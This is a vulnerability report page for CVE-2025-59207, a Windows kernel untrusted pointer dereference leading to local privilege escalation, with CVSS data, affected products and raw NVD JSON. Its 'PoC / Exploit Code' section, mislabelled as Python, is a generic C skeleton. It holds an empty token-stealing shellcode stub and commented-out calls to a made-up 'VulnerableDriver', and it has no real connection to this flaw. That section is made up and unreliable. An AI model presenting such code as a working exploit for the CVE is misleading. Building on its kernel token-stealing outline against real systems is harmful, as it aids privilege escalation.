Security Vulnerability Report
中文
CVE-2025-59207 CVSS 7.8 HIGH

CVE-2025-59207

Published: 2025-10-14 17:16:01
Last Modified: 2025-10-17 15:22:49

Description

Untrusted pointer dereference in Windows Kernel allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft Windows 10 (所有版本)
Microsoft Windows 11 (所有版本)
Microsoft Windows Server 2016
Microsoft Windows Server 2019
Microsoft Windows Server 2022
Microsoft Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-59207 - Windows Kernel Untrusted Pointer Dereference PoC // This is a conceptual PoC demonstrating the vulnerability pattern. // Actual exploitation requires kernel object manipulation. #include <windows.h> #include <stdio.h> // Fake kernel object structure to trigger untrusted pointer dereference typedef struct _FAKE_KERNEL_OBJECT { DWORD header; PVOID functionTable; // Untrusted pointer - kernel will dereference this ULONG refCount; ULONG reserved; } FAKE_KERNEL_OBJECT, *PFAKE_KERNEL_OBJECT; // Shellcode to be executed in kernel context (privilege escalation payload) // In a real exploit, this would steal the SYSTEM token from EPROCESS __declspec(naked) void KernelShellcode() { __asm { // Save registers pushad // Token stealing shellcode would go here // Locate current process EPROCESS // Find SYSTEM process EPROCESS // Copy SYSTEM token to current process // Restore registers and return popad ret } } int main() { printf("[*] CVE-2025-59207 PoC - Windows Kernel Untrusted Pointer Dereference\n"); // Step 1: Allocate fake kernel object in user-mode memory FAKE_KERNEL_OBJECT fakeObj; ZeroMemory(&fakeObj, sizeof(fakeObj)); // Step 2: Set the untrusted pointer to point to our shellcode fakeObj.functionTable = (PVOID)KernelShellcode; fakeObj.refCount = 1; // Step 3: Trigger the vulnerable kernel API with our fake object pointer // The vulnerable function fails to validate the pointer before dereferencing // HANDLE hDevice = CreateFileA("\\\\.\\\\VulnerableDriver", ...); // DeviceIoControl(hDevice, IOCTL_CODE, &fakeObj, sizeof(fakeObj), ...); printf("[+] Fake kernel object prepared at: 0x%p\n", &fakeObj); printf("[+] Untrusted pointer set to: 0x%p\n", fakeObj.functionTable); printf("[!] Triggering vulnerable kernel call...\n"); // In a real scenario, the kernel would dereference fakeObj.functionTable // and execute our shellcode with kernel privileges printf("[*] PoC demonstration complete. Apply MS patches immediately.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59207", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:00.780", "lastModified": "2025-10-17T15:22:48.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted pointer dereference in Windows Kernel allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59207", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}